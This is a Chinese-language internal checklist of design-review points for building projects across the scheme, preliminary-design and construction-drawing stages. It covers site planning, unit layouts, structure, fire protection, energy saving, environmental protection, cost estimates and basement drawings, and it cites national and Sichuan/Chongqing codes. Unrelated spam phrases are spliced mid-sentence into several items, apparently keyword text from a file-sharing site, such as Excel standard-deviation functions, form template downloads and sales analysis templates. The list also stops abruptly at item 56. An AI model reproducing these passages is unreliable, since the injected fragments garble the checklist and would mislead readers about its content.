项目设计阶段内部审核要点(方案、初设、施工图)

项目设计阶段审图要点样表 项目设计阶段内部审核要点 序号 分项 细项 审图要点 图纸名称 图号 设计要点 是否符合要求（√×） 问题描述 责任人 审核人 审批人 备注 建筑规划方案设计阶段审图要点 1 总图 竖向标高 场地原始标高、规划标高、地下车库高度、单体正负零 2 容积率、建筑密度、道路宽度、消防登高面、消防回车场、配电房位置车位、垃圾场、综合管网 3 标准 excel标准偏差excel标准偏差函数exl标准差函数国标检验抽样标准表免费下载红头文件格式标准下载 层 得房率审核 4 核心筒面积 核心筒形式是否需要优化 5 电梯 电梯配置及参数 6 管井 尺寸位置是否合理 7 交通流线是否合理 8 户户之间是否可攀爬、对视情况 9 楼梯间的开窗面积、开在何处、窗户形式 10 一楼门厅大堂如何布置的面宽和进深比是否满足 11 户型平面 客厅 电视与沙发的方向、空调柜机位置、与阳台的移门尺寸、结构建议 12 餐厅厨房 餐桌的位置、厨房门的尺寸、烟道位置、冰箱位置、台面大小、炉灶水槽、燃气热水器的位置。厨房的窗洞尺寸。窗户样式 13 卫生间 尺寸、管井位置、三（四）件套位置、开门是否对着马桶、卫生间门是否对着餐厅或入户门、是否干湿分离、如偷飘窗注意马桶位的调整。热水器是否有空间、卫生间窗洞尺寸及窗户样式。两个卫生间的马桶背靠背形式是否以合用管井 14 卧室 门与床头位置、衣柜、床尺寸、空调挂机、窗户尺寸、偷飘窗的利用。八角窗是否按照新标准、床头是否能放下、八角窗如何利用 15 书房 是否可变为儿童房或多功能室、书桌、床的位置与门窗的关系 16 阳台 地漏、落水管位置、是否有屋顶落水管、结构形式是否上翻、阳台是否封闭、栏杆为实体、铁艺、玻璃、如果封闭如何处理 17 空调机位 梁是否上翻、两侧是栏杆还是墙体、是否有栏杆、GRC线条等影响净尺寸、是否有泠凝水管、是否设置了地漏、是否影响卧室空间的利用、室内机与室外机如何连接、连接的管线如何隐蔽处理、是否能实现安装、空调百叶的开启方向、临近位置的窗户开启方向。一拖二的空调机位的尺寸、上下放置的空调机位与立面的处理。左右放两个空调机位的尺度要适当加大 18 设备平台 是否为偷面积、是否设地漏、是否有竖向落水管 19 偷面积部位 偷面积出来的房间是否考虑了空调室内机位置、室外机位置。偷面积的洞口尺寸内外是否一致、是否涉及到了外墙二次施工 20 门厅、大堂 大堂面积、如何设置、面宽进深比是否合适、单元门位置、信报箱位置、残疾人坡道是否过长、门头是否影响两侧住户房间（尖角、拐角） 21 建筑立面 窗户二次深化与立面风格的关系、洞口尺寸与窗户开启方式等栏杆的种类：客厅阳台栏杆、卧室阳台栏杆、空调栏杆、维护栏杆、设备平台栏杆 22 结构墙体 那些部位不得出现梁、柱，那些部位涉及到日后改造不得出现剪力墙、那些剪力墙需要外移、那些位置需要做暗梁、那些隔墙可以做100. 23 地下车库 层高、柱跨、结构形式、车道是否满足5.5~6米、平均车位面积多少、出入口（车库出入口、自行车道出入口、人防、消防出入口、采光口、通风管井）是否影响 施工图初步设计阶段审图要点 一 总平面专业审查要点 1 初步设计文件 设计说明书 设计说明书内容有无遗漏 2 设计图纸齐全 设计图纸齐全 3 设计说明及图纸深度 应符合《四川省房屋建筑和市政基础设施建设项目初步设计审查实施办法》及《四川省建设工程勘察设计管理细则》 4 设计说明书 设计依据 设计采用的设计标准，规范是否齐全、正确，版本是否有效； 5 是否具备与本专业设计有关的政府有关主管部门的批准文件和依据性资料 6 项目的分期实施情况和设计范围是否明确 7 规划要求 设计是否符合规划批准的建设用地位置，建筑高度、密度、面积等技术指标是否在规划许可的范围内，上阶段审批意见是否在设计中得到落实，对方案有修改时的修改情况说明是否清楚且符合审批要求和有关规定 8 场地概述 场地区位应明确 9 四邻有无重要建构筑物（如加油加气站、危险品仓库、架空高压线、轨道交通线等） 10 有无洪水影响、植被和文物保护； 11 有无不良地形地貌 12 总平面布置 布局是否符合相关规范要求 13 项目的分期原则及相关措施是否合理、可行 14 绿地布置是否符合相关规定要求 15 竖向设计 地面形式和道路坡度应符合规范要求 16 地面排水应符合规范要求 17 用地防护工程的设置应符合规范要求 18 地面高程应符合防洪标准要求 19 用地外围有较大汇水汇入时，有无截洪措施 20 土石方工程是否遵循“就近合理平衡”的原则。 21 交通组织 交通流线组织、出入口和停车场设置是否符合规范要求 22 道路宽度、坡度、扑救场地、回车场是否符合规范要求； 23 无障碍设计是否符合规范要求 24 综合管网 是否说明市政管网与本工程的相互关系、接口位置、能提供的容量（管径）大小等参数和当不能满足时所采取的技术措施； 25 是否说明或用 表格 关于规范使用各类表格的通知入职表格免费下载关于主播时间做一个表格详细英语字母大小写表格下载简历表格模板下载 列出本工程总用水量、总污水量、总天然气量、总冷（暖）负荷量、变配电站的位置、数量、容量 26 主要技术经济指标 主要技术经济指标内容应符合上阶段的审批要求 27 设计图纸 总平面图 设计用地红线是否与规划局审批的用地红线一致； 28 建筑与边界，与其他建筑物、构筑物等的间距是否符合《XX市城市规划管理技术规定》及国家有关规范的要求（如防火、防爆、卫生、安全间距等）。有无轨道交通和洪水、滑坡等自然灾害的影响及采取相应的防治措施 29 建筑场地出入口数量、道路宽度、内部通道出入口距城市道路交叉口距离，是否符合规范要求； 30 建构筑物定位是否准确，建构筑物外形尺寸是否与建筑单体一致； 31 交通组织是否顺畅、合理，车行道及停车库（场）出入口是否影响地面交通及人行安全，并符合规范规定； 32 消防 分析 定性数据统计分析pdf销售业绩分析模板建筑结构震害分析销售进度分析表京东商城竞争战略分析 图 消防车道宽度、净空高度、消防车道布置、转弯半径、回车场尺寸、建筑防火间距、高层建筑消防扑救面及扑救场地等是否符合规范要求 33 绿化布置图 绿化布置是否符合总平面布置图 34 各绿地面积计算是否符合《重庆市都市区城市建设项目配套绿地管理技术规定（试行）》要求； 35 图例是否交待清楚。 36 竖向布置图 竖向设计是否符合规划控制标高，场地外围的城市道路等关键性标高是否标注 37 竖向设计方案是否合理，场地标高与城市道路标高的关系是否合理，场地地面及道路的标高是否有利于排水； 38 各设计标高标注是否齐全，道路坡长、坡度、地面坡度是否交待清楚 39 复杂场地是否有详细的场地剖面设计图。 40 综合管网图（给水排水） 各类管线的接口位置及方向是否准确；站房、污水处理等附属设施的位置是否表达清楚； 41 管线布置是否合理；并符合国家现行规范和《重庆市城市规划管理技术规定》第六十八条的规定。 42 综合管网图（电气） 室外管网布置是否合理，布线路由型式、规模选择是否符合相关规范规定 43 变、配电所、发电机房位置及编号和变压器容量是否标注 44 图例符号是否注明清楚。 45 综合管网图（燃气） 燃气管线的接口位置及方向是否准确；调压站（箱）等附属设施的位置是否表达清楚 46 管线布置是否合理；并符合国家现行规范的规定 47 总平面设计 二 建筑专业审查要点 1 初步设计文件 设计说明书 设计说明书章节内容无遗漏 2 设计图纸 设计图纸齐全； 3 设计说明及图纸深度 应符合《四川省房屋建筑和市政基础设施建设项目初步设计审查实施办法》及《四川省建设工程勘察设计管理细则》 4 设计说明书 效果图或模型照片 效果图或模型照片应与设计相符 5 工程概况 工程概况应与设计相符 6 设计依据 设计采用的设计标准，规范是否齐全、正确，版本是否有效 7 是否具备与本专业设计有关的政府有关主管部门的批准文件和依据性资料且是否在设计中得到落实 8 项目的分期实施情况和设计范围是否明确 9 建筑设计说明 内容表述清晰且应与设计图纸表达内容一致 10 工程分类、定性应明确并符合相关规范规定 11 分期建设的工程，续建、扩建设想及相关措施是否合理、可行； 12 方案调整的原因及内容应符合有关法律、法规、管理规定要求 13 民用建筑的设计使用年限应符合《民用建筑设计通则》GB50352-2005表3.2.1规定； 14 民用建筑的设计使用年限应符合《民用建筑设计通则》GB50352-2005表3.2.1规定； 15 使用人数的确定应符合《民用建筑设计通则》GB50352-20053.7.1、3.7.2规定 16 建筑高度控制应符合《民用建筑设计通则》GB50352-20054.3.1、4.3.2规定； 17 平面布置应符合6.1.1规定； 18 6.层高和室内净高应符合6.2规定； 19 地下室和半地下室应符合6.3规定 20 厕所、盥洗室和浴室应符合6.5规定 21 台阶、栏杆设置应符合6.6.1、6.6.3（1、4）规定 22 楼梯、电梯、扶梯、自动人行道应符合6.7、6.8规定； 23 墙身和变形缝应符合6.9.4、6.9.6规定； 24 屋面设计应符合6.13.2规定 25 管道井、烟道、通风道和垃圾管道设计应符合6.14.1、6.14.4规定。 26 居住建筑进行无障碍设计的范围应符合《城市道路和建筑物无障碍设计规范》（JGJ50-2001）5.2.1的规定； 27 居住区公共服务设施无障碍实施范围应符合6.3.1规定；9.居住区公共服务设施无障碍设计内容应符合6.3.2规定； 28 公共厕所分类应符合《城市公共厕所设计标准》CJJ14-20053.1.3、3.1.5、3.1.6规定 29 公共场所公共厕所卫生设施数量的确定应符合《城市公共厕所设计标准》CJJ14-20053.2.1规定 30 商场、超市和商业街公共厕所卫生设施数量的确定应符合《城市公共厕所设计标准》CJJ14-20053.2.2规定； 31 公共厕所的平面设计应符合3.3.1、3.3.13、3.3.15规定 32 附属式公共厕所设置应符合5.0.1、5.0.2、5.0.4至5.0.8规定。 33 地下工程的防水设计资料搜集应符合《地下工程防水技术规范》GB50108—20083.1.7规定 34 地下工程防水设计内容应符合《地下工程防水技术规范》GB50108—20083.1.8规定； 35 防水等级应符合《地下工程防水技术规范》GB50108—20083.2规定； 36 防水混凝土的设计抗渗等级应符合4.1.4规定。 37 设计图纸 平面图 平面布置功能分区应明确，交通流线便捷，满足相关规范的基本要求； 38 主要功能房间平面长宽尺寸或面积应满足相关规范规定 39 楼梯、电梯、扶梯数量、位置、尺寸应满足相关规范规定 40 卫生间、厨房、浴室的位置（四邻关系）和器具布置应满足相关规范规定 41 各专业设备用房和管道及管道井位置、尺寸应如实表 42 变形缝设置部位不应影响建筑使用功能 43 民用建筑的设计使用年限应符合表3.2.1规定； 44 满足防火、人防、节能、环保、无障碍设计要求（审查要点详见相关篇章） 45 立剖面图 房间层高或净高尺寸应满足相关规范规定； 46 立面高度尺寸应满足规划部门的规定和要求； 47 满足防火、人防、节能、环保设计要求（审查要点详见相关篇章）。 三 结构专业审查要点 1 设计文件 设计文件内容是否完整。 2 设计说明书 设计依据 建筑主体结构设计使用年限是否符合《建筑结构可靠度设 3 本地区基本风压（雪压、气温）是否符合《建筑结构荷载规范》GB50009，抗震设防烈度是否符合《建筑抗震设计规范》GB50011附录A及中国地震烈度区划图； 4 本工程采用的设计规范、规程，是否适用于本工程，是否为有效版本； 5 批准的上一阶段的设计文件及相关专业的设计资料是否齐全； 6 采用的工程地质勘察报告是否经过审查，当场地总平面布置发生变化或勘察依据已失效，是否进行了补充勘察或说明 7 必要时是否按工程需要提供了《超限建筑抗震设防专项审查报告》、《场地地震安全性评价》、《风洞试验报告》,场地存在高切坡和深基坑支护时，结构方案的评估报告。 8 设计安全标准 建筑结构的安全等级是否符合《建筑结构可靠度设计统一标准》GB50068 9 地基基础的设计等级是否符合《建筑地基基础设计规范》GB50007的规定 10 建筑抗震设防类别是否符合《建筑工程抗震设防分类标准》GB50223的规定 11 钢筋混凝土结构房屋抗震等级是否符合《建筑抗震设计规范》GB50011和《高层建筑钢筋混凝土结构技术规程》JGJ3的要求 12 地下室防水等级是否符合《地下工程防水技术规范》GB50108的规定 13 建筑物构件耐火极限是否符合相关防火设计规范的规定。 14 场地分析和地勘报告分析 场地基本情况简述是否与《工程地质勘察报告》一致。建筑处于抗震不利地段和填土地基时是否采取了有效措施 15 工程地质概况和水文地质概况描述内容是否满足初设文件深度的要求。 16 主要荷载取值 楼屋面活荷载是否符合荷载规范和相关规定、特殊设备荷载选取是否恰当 17 基本风压、地面粗糙度、风载体型系数等是否符合《建筑结构荷载规范》和风洞试验报告（必要时）的规定； 18 3.设计基本地震加速度、设计地震分组、场地特征周期、地震影响系数等是否符合《建筑抗震设计规范》GB50011和政府相关部门的规定； 19 结构考虑温度作用时，升（降）温和有关参数取值是否正确 20 地基基础及环境设计 当采用人工处理地基时,人工地基处理方案的选择是否恰当，技术要求是否合理； 21 是否正确使用工程地质勘察报告所提供的岩土参数；是否正确采纳《工程地质勘察报告》对基础形式、地基处理、防腐蚀措施（地下水有腐蚀性时）等提出的建议并采取了相应措施，当其与地勘建议不一致时，其措施是否恰当 22 需考虑地下水位对地下建筑影响的工程，设计所采用的防水设计水位和抗浮设计水位，是否符合《工程地质勘察报告》所提水位,是否进行了防水结构设计； 23 .基础选型、埋置深度、桩端持力层及进入持力层的深度是否合理，当无埋深时，是否满足整体稳定的要求 24 是否正确采用工程地质勘察报告对边坡处理及支护方案提出的建议并采取了相应措施。当其与地勘建议不一致时，其措施是否恰当。当为高切坡、深开挖时，是否执行相关规定； 25 当有相邻既有建筑物时，是否说明对相邻既有建筑物的影响与保护措施 26 上部及地下室结构设计 结构缝（伸缩缝、沉降缝、抗震缝）的设置是否合理，结构缝的设置超过规范限值时，所采取的措施是否恰当； 27 各单元结构概况（单体最大高度、层数、层高、主要结构跨度、工业厂房的吊车工作级别及吨位等）描述是否准确全面； 28 结构体系选择是否合理，高层建筑是否提供有《重庆市高层建筑工程结构抗震基本参数表》，表填写是否准确 29 当存在薄弱层或薄弱部位时所采取的技术措施是否合理； 30 房屋结构是否超限，超限高层建筑（适用最大高度超限、适用结构类型超限及体型规则性超限的建筑）是否经过抗震设防专项审查； 31 对房屋竖向和平面规则性的描述是否准确； 32 复杂高层建筑结构是否符合《高层建筑钢筋混凝土结构技术规程》JGJ3的有关规定。 33 结构计算（分析） 所使用的软件是否通过有关部门的鉴定 34 所采用软件的计算假定和力学模型，是否符合工程实际； 35 复杂结构是否采用了不少于两个不同的力学模型的软件进行计算，并对其计算结果进行分析比较； 36 需进行时程分析时，地震动参数（加速度峰值、持时等）的取值是否正确； 37 薄弱层和薄弱部位的判别是否正确。转换层上下部结构和转换层结构的计算模型和所采用的软件是否正确，层间位移及层侧向刚度比是否符合规范、规程规定； 38 程序计算的主要结果是否合理有效 39 主要 材料 关于××同志的政审材料调查表环保先进个人材料国家普通话测试材料农民专业合作社注销四查四问剖析材料 选用 混凝土强度等级、钢筋种类、砌体强度等级、砂浆强度等级、钢材及焊条牌号、特殊材料或产品（成品拉索、锚具、阻尼器等）说明是否准确。 40 新技术、新结构、新材料 在结构设计中所采用的新技术、新结构、新材料是否经过论证，是否恰当。 41 施工特殊要求 对施工有特殊要求时，所提出的要求是否合理。 42 其他需要说明的内容 在结构设计中需要说明而在前面的篇章中未提及的问题 43 有无在设计审批时需解决或确定的问题。 44 图纸内容 基础平面图及主要基础构件的截面尺寸； 45 主要楼层的结构平面图； 46 结构主要或关键性节点、支座示意图 47 伸缩缝、沉降缝、抗震缝、施工后浇带的位置和宽度是否在相应平面图中明确表示； 48 环境复杂时，是否有挡墙方案设计图； 四 消防设计综合篇审查要点 1 初步设计文件 设计说明书 设计说明书内容无遗漏； 2 设计图纸 设计图纸齐全 3 设计深度 应符合《四川省房屋建筑和市政基础设施建设项目初步设计审查实施办法》及《四川省建设工程勘察设计管理细则》 4 设计说明书 设计依据 设计采用的设计标准，规范是否齐全、正确，版本是否有效； 5 是否具备公安消防部门的审批文件 6 项目的分期实施情况是否影响防火功能 7 工程简述 防火分类、耐火等级、生产的火灾危险性分类应符合相应规范要求。 8 总平面（多层）《建筑设计防火规范》GB50016-2006 消防车道、消防扑救场地下的管沟及井盖的承载能力应符合规范要求； 9 1.建筑高度与层数计算应符合1.0.2（注1、2）规定； 10 .防火间距应符合5.2.1规定； 11 消防车道设置应符合6.0.1、6.0.10规定； 12 耐火等级、最多允许层数、防火分区应符合5.1.7、5.1.12至5.1.5规定； 13 特殊部位（中庭、上下层相连通的开口）防火分区与布局应符合5.1.9、5.1.10规定； 14 经营、存放和使用甲、乙类物品的商店、作坊和储藏间，严禁设置在民用建筑内；（5.4.5） 15 7.防火分隔措施应符合5.4.3、5.4.6、5.1.11规定； 16 安全出口设置应符合5.3.1、5.3.2、5.3.3、5.3.11、5.3.12、5.3.14、5.3.16、5.3.17。设一个安全出口时应符合5.3.2、5.3.4、表5.3.11规定； 17 疏散距离、疏散走道设计应符合5.3.13、5.3.14、5.3.16、5.3.17规定； 18 楼梯设置应符合5.3.5、5.3.11至5.3.13、5.3.14、5.3.16、5.3.17、7.4.1至7.4.4规定； 19 电梯设置应符合5.3.6、5.3.11、7.4.10、7.4.11规定； 20 疏散门、窗、卷帘设置应符合5.3.8、5.3.9、5.3.11至5.3.14、5.3.16、5.3.17、7.4.12、7.5.2、7.5.3规定； 21 防火构造：防火墙应符合7.1.1至7.1.5规定；建筑幕墙的防火设计应符合7.2.7规定；管道与管道井设计应符合7.2.9、7.2.10规定； 22 设备用房：消防控制室的设置应符合11.4.4规定；柴油发电机房布置符合5.4.3规定；燃煤、燃油或燃气锅炉、油浸电力变压器、充有可燃油的高压电容器和多油开关等用房设计应符合5.4.1、5.4.2规定；消防水泵房设计应符合8.6.4规定。 23 总平面（高层）《高层民用建筑设计防火规范》GB50045-95（2005年版） 建筑分类、耐火等级应符合3.0.1、3.0.2规定； 24 防火间距应符合4.2.1至4.2.8规定； 25 总平面与消防车道布置应符合4.1.7、4.3.1、4.3.4、4.3.5、4.3.6规定； 26 防火分区设置应符合5.1.1、5.1.2、5.1.3、5.1.4、5.1.5规定； 27 平面布置应符合4.1.5、4.1.5A、4.1.5B、4.1.6、4.1.10至4.1.12、6.1.13、6.1.14规定； 28 安全出口设置应符合6.1.1、6.1.12、6.1.17、4.1.7规定； 29 安全疏散距离、疏散走道设计应符合6.1.4、6.1.5、6.1.6、6.1.7、6.1.9至6.1.11规定； 30 楼梯设置应符合6.1.2、6.1.3A、6.1.10、6.1.13、6.2.1、6.2.2、6.2.3、6.2.4、6.2.5、6.2.6、6.2.7、6.2.8、6.2.9规定； 31 消防电梯设置应符合6.1.13.5、6.3.1、6.3.2、6.3.3规定； 32 门、窗、卷帘设置应符合5.2.1、5.2.2、5.2.3、5.2.7、5.4.4、5.4.5、6.1.8、6.1.10、6.1.12、6.1.16规定； 33 建筑幕墙的防火设计应符合3.0.8规定；管道与管道井设计应符合5.3.1、5.3.2、5.3.3规定； 34 设备用房：消防水泵房应符合7.5.1、7.5.2规定；消防控制室应符合4.1.4规定；柴油发电机房应符合4.1.3规定；燃煤、燃油或燃气锅炉、油浸电力变压器、充有可燃油的高压电容器和多油开关等用房应符合4.1.2规定。《高层民用建筑设计防火规范》若干问题的实施意见 35 建筑 疏散宽度计算公式应符合规范要求； 36 建筑装修材料燃烧性能等级应符合规范要求； 37 特殊部位的防火构造（如玻璃幕墙）应符合规范要求； 38 设计图纸 总平面图、消防分析图 1.防火间距、消防车道宽度、净空高度、消防车道布置、转弯半径、回车场尺寸、高层建筑消防扑救面及扑救场地等是否符合规范要求； 39 平面、立面、剖面图 五 节能设计综合篇审查要点 1 建筑 节能初步设计文件 应符合《四川省房屋建筑和市政基础设施建设项目初步设计审查实施办法》 2 节能设计说明 设计采用的标准、规范是否齐全、正确，版本是否有效 3 围护结构各部位选用材料和热工参数是否正确，选用的节能材料是否符合有关标准的要求和管理规定 4 冷热桥（包括凸窗上下、左右侧板非透明部分）是否采取节能措施 5 保温体系及装饰材料是否满足消防安全要求 6 外窗可开启面积是否符合规范要求 7 节能设计模型 计算软件及版本是否有效 8 建筑朝向及选用标准是否正确 9 模型中围护结构（外墙砌体材料类型及厚度、热桥、保温材料类型及厚度、门窗大小和类型）与图说是否一致 10 模型中房间类型与图说是否一致 11 各围护结构材料的热工参数（包括密度、导热系数、蓄热系数、修正系数）及外窗热工参数（传热系数、遮阳系数、“四性”）是否正确取值 12 节能计算报告书 计算书各项材料的参数与节能设计说明内容是否一致 13 计算结果是否满足节能设计标准要求 14 外墙、门窗、屋面等围护结构各部分的传热系数是否符合标准规定的进行权衡判断必须满足的条件 15 节能设计基本情况表 内容应与节能设计说明及节能计算报告书内容相符 16 结构 墙体布置、隔墙材料选用是否与建筑专业一致 六 环境保护综合篇审查要点 1 建筑 建筑总体布局对环境的扰动情况，是否深开挖高填方 2 垃圾存放点位置是否靠近基地次要出入口且在当地夏季主导风向的下风向，视线遮挡措施是否合理 3 建筑生活污水处理设施、隔油池、排风排烟道口、除油烟装置位置是否合理 4 建筑布置是否有利于减振、隔音降噪、防止光污染 5 是否根据建筑物的类型和用途，选用符合《民用建筑工程室内环境污染控制规范》规定的建筑材料和装修材料 七 概算专业审查要点 1 概算文件总要求 概算文件是否达到建设部《市政公用工程设计文件编制深度规定》和《四川省房屋建筑和市政基础设施建设项目初步设计审查实施办法》的要求 2 概算编制说明书、建设项目总概算书、单项工程综合概算书、单位工程概算书、主要材料汇总表及主要技术经济指标是否完整、齐全，层次是否清晰 3 总概算表、单项工程综合概算表、单位工程概算表的选用是否正确、符合项目特征 4 概算编制单位资质和编制人员从业资格是否符合规定，概算编制人、校对人、审核人（专业负责人）等签署是否完整、符合有关规定 5 概算编制说明 工程概况 是否准确完整地说明了建设项目的建设地点、设计规模及标准、工程范围、建设性质（新建、扩建或改建）、工程类别、建设期（年限）、主要工程内容、主要工程量、主要工艺设备及数量等，并明确工程概算中所包括和不包括的工程项目费用 6 是否准确完整地说明了建设投资规模及限额要求。采用限额设计的工程对投资限额和投资分解说明是否正确 7 建设规模、建设标准、概算总投资是否与立项批文和方案设计一致 8 编制范围 应与设计说明、设计文件、建设行政主管部门批准的建设项目范围、具体内容，以及项目投资主体及实际情况一致 9 分期建设项目的建设范围和具体建设内容应描述清楚，是否有重复交叉或漏项等情况 10 因特殊原因未包括在概算文件中的内容，是否说明清楚其工程和费用名称及其原因 11 编制依据 是否与国家及四川省有关建设和造价管理的法律、法规和方针政策相符合。经批准的项目建议书、设计任务书、可行性研究报告和主管部门的有关规定是否完整有效 12 概算编制所依据使用的定额、主要材料和设备价格、各种费用取定的依据及编制方法是否正确、是否为有效版本，是否与项目内容一致 13 与建设项目相关的工程地质资料、设计文件、建设条件、施工条件等描述是否准确完整。套用与技术标准、结构形式、施工方法相适应的定额和相关造价文件是否正确 14 对采用新技术、新材料、新设备、新工艺以及异性结构等，价格确定依据是否正确。 15 编制方法 编制方法是否符合国家现行的政策、法规及技术规范的要求 16 用类似工程指标计算的单位工程，其采用的技术经济参数与标准是否恰当 17 进口材料、设备、技术费用的构成与计算参数采用的费用概算方法是否正确 18 主要技术指标 项目概算总投资及主要分项投资、主要单位投资指标等是否合理、完整 19 计量指标的单位、数量、单位造价是否合理 20 概算成果说明 概算总金额、工程费用、其他费用、预备费、列入项目概算总投资中的相关费用等，以及概算成果与批准的可研投资相关费用的对比说明等是否完整准确 21 总概算表 建设工程费用 费用组成是否完整。主要工程项目是否齐全、无漏项、是否与设计图纸所述一致；辅助和服务性工程项目是否齐全、无遗漏 22 室外工程项目（红线以内）与场外工程项目（红线以外）的划分是否准确、内容是否齐全 23 与单项工程综合概算表的数据是否一致，计算是否准确 24 工程建设其它费用 工程费用外的建设项目必须支出的费用，按预期将要发生的工程建设其他费用是否完整，取费标准或费率是否符合国家、重庆市有关部门规定或现行市场行情，有无随意列项、多列、交叉计列和漏列情况 25 预备费 计算的基数是否正确，取费标准是否符合国家及重庆市的有关规定、符合项目实际情况 26 建设期贷款利息 建设期贷款利息的组成是否正确、计算是否合理，年利率采用是否正确 27 铺底流动资金 生产经营性项目，计入建设项目总概算的金额是否合理 28 单项工程综合概算表 组成内容是否齐全完整。与单位工程的数据是否一致，计算是否准确。工程技术经济指标是否合理 29 单位工程概算表 文件内容是否齐全完整。是否根据单项工程中所属的每个单体按专业分别编制 30 主要工程量计算是否正确、是否符合《四川省建设工程概算定额》计算规则。主要工程量的经济指标是否合理 31 定额子目选用是否正确无误、符合相关规定，是否重复套用或高套定额，是否改变定额消耗量。对于补充定额，其人工、材料、机械消耗量是否与工项目实际情况相符合，其基价是否合理 32 材料价格以及新设备、新材料价格是否合理，是否符合相关规定和市场行情 33 取费标准是否符合相关规定，是否及时有效 34 各单位工程技术经济指标是否符合同类型项目现行的市场行情，多子项工程各单项工程的技术经济标准是否一致、材料价格是否统一 35 辅助附属或小型单项工程采用类似工程指标计算，技术经济参数与标准是否恰当 36 主要材料消耗用量 建设工程主要材料用量表是否合理、完整 37 各主要材料消耗指标是否符合项目特征、是否准确合理、是否满足经济节约的原则 施工图设计阶段审图要点 一 建筑专业 （一） 地下室部分 1 建筑总平面图 场地四界的测量坐标 审查场地四界坐标 2 建筑物定位尺寸 审查建筑物相互位置关系 3 道路红线 审查道路红线标示、坐标和与建筑物距离 4 建筑控制线 审查建筑物控制线标注 5 用地红线 审查用地红线标示 6 建筑物、构筑物的名称、编号、层数、定位坐标或相互关系尺寸 审查总平室外构筑物坐标和定位尺寸 7 室外总平的定位坐标或相互尺寸 审核室外总平定位和尺寸 8 场地四邻的道路、雨污井、地面的关键性标高 审核建筑总图场地外道路、雨污井、地面标高 9 地下建筑的顶板面标高及覆盖土高度限制 结合景观设计审核顶板标高及覆土深度 10 建筑物室内外地面设计标高 审核建筑总图室内外地面标高 11 道路的设计标高、纵坡度、纵坡距、关键性标高 审核道路的设计标高、纵坡度、纵坡距、关键性标高 12 其他硬景设计标高 审核园区设计标高 13 建筑总平面主要出入口与城市道路的规划红线距离 审核建筑总平面主要出入口与城市道路的规划红线距离≥7.5m 14 地下车库出入口数量 审核地下车库入口数量 15 地下车库出入口与市政道路接口宽度和转弯半径 审核地下车库出入口与市政道路接口宽度和转弯半径尺寸 16 竖向布置图可与总平面图合并或者分列 审核竖向布置图可与总平面图合并或者分列 17 地下室建筑设计说明 设计依据 审核设计依据 18 项目概要 审核设计依据 19 防火分区数 20 防水等级 21 非机动车位面积 22 工程等级 23 使用性质 24 规划建设净用地面积 25 机动车库面积 26 机动车位数 27 建筑防火分类 28 建筑高度 29 建筑面积 30 建筑总层数 31 结构抗震类别 32 结构类型 33 抗震设防烈度 34 耐火等级 35 人防工程类别和防护等级 36 容积率 37 设备用房面积 38 设计使用年限 39 总建筑面积 40 设计标高 ±0.000的绝对标高是否已说明 41 设计标高的确定是否与城市已确定的控制标高一致 42 主要工程做法及室内装修做法 审查主要工程做法及室内装修做法完整性和是否满足施工工艺标准 43 门窗表及门窗性能要求 审核门窗表及门窗性能要求是否满足规范要求 44 建筑防火分区 审核建筑防火分区是否《建筑设计防火规范》GB50016-2006及《高层民用建筑设计防火规范》GB50045-95（2005年版）有关规定 45 地下室建筑平面 轴线及轴线编号 46 内外门窗位置、编号及开启方向 47 房间名称标示 48 外墙三道尺寸 49 轴线及墙身厚度 50 柱与壁柱的截面尺寸及其与轴线的关系 51 楼梯、电梯及主要建筑构造部件的位置、尺寸和做法索引 52 变形缝的位置、尺寸及做法索引 53 地下室地面预留孔洞 54 管线竖井、通气管道等位置、尺寸和做法索引 55 地下室墙体预留洞的位置、尺寸和标高或高度 56 集水坑位置、标高和尺寸 57 截水沟位置、标高和尺寸 58 电梯积水坑和电梯基坑的关系 59 地下车库出入口宽度 60 地下车库直线坡道宽度 61 地下车库曲线坡道宽度 62 地下车库坡道坡度 63 车行通道、汽车出入口净高 64 非机动车出入口车道宽度 65 地下停车库保洁取水点 66 地下室单个车位面积 67 地下室车道宽度和回车半径 68 地下部分与主体结构轴线对应 69 高低压配电室、发电机房 70 生活水箱房与水泵房 71 发电机加油通道 72 地下室消防控制中心和监控中心 73 消防排烟、通风设施及发电机房的进风口、排风口节点 74 地下室车库建筑地面坡道 75 地下室底板、侧墙防水 76 地下室顶板防水做法 77 地下室顶板结构板厚度和覆土厚度 （二） 地上通用部分 1 建筑设计总说明 设计依据 审核设计依据 2 工程概况及设计范围 地理位置和环境条件 3 工程概要 4 设计范围 5 设计标高及建筑物定位 ±0.000设计标高相当于绝对标高取值 6 各楼层平面标注标高是否为建筑完成面标高，结构标高与建筑标高的对应关系，屋面标高确定 7 总平面中的定位坐标是否为轴线交点坐标，具体定位及与周边环境的关系确定 8 楼地面工程 楼面降板要求及取值 9 凡有排水需求的楼（地）面找坡和防水措施 10 墙体工程 墙体基础、钢筋混凝土墙、柱、梁做法是否与结构施工图对应一致 11 主要填充墙体材料、厚度及使用部位 12 墙体材料图案填充图例 13 砌体砂浆强度和配置要求，组砌方式和节点构造要求 14 有水房间（厨房、卫生间）周边墙体根部构造措施 15 不同材料的墙体交接处内外墙面、墙体留洞封堵四周内外墙面加强处理措施 16 砌体加固构造措施及标准图集的选用 17 底层砌体特别说明及防潮层设置 18 预留预埋洞口加固和处理措施及施工注意事项 19 屋面防水工程 防水等级分类，防水做法 20 屋面、露台排水组织措施及标准图集选用 21 屋面保温构造措施及施工工艺流程说明 22 屋面防水面层做法及施工工艺措施 23 穿屋面管、井构造措施及标准图集选用 24 屋面施工的特别说明注意事项 25 门窗工程 建筑外门窗的材料、选型、开启方式等说明 26 室内门窗的材料、选型、开启方式、安装位置及方式等说明 27 外窗门的气密性、水密性等级及 检测 工程第三方检测合同工程防雷检测合同植筋拉拔检测方案传感器技术课后答案检测机构通用要求培训 要求 28 门窗节能要求 29 门窗玻璃要求 30 门窗窗台高度要求及防护措施 31 外装修工程 工程外墙材质及颜色设计说明 32 外墙装饰材料质量要求，色彩说明 33 外墙装饰做法及施工节点说明 34 内装修工程 内装修具体做法 35 除地上住宅公共区域一次装修到位外，住宅套内部分内装修工程均只做到找平层或打底层，面层由用户自理 36 二次装饰设计范围、结构安全保证和规范选用 37 墙上预留导管洞类型 墙上预留导管分类、大小及处理方式 38 主要家用家具、电器图例说明 39 厨房排气道做法及标准图集选用 40 41 电梯设计 电梯设计选型、配置条件说明及施工要点 42 电梯井道设计说明 43 电梯无障碍设计说明 44 电梯位置对环境影响措施 45 土建与电梯安装的配合工作说明 46 建筑防火设计 建筑的防火分类和耐火等级 47 防火分区 48 建筑防火构造 49 防火门窗 50 无障碍设计 51 节能设计 52 施工中应注意事项 53 选用标准图集、通用图集和标准作法选用目录 54 工程做法通用标准审查 55 门窗表及门窗大样节点图审查 56 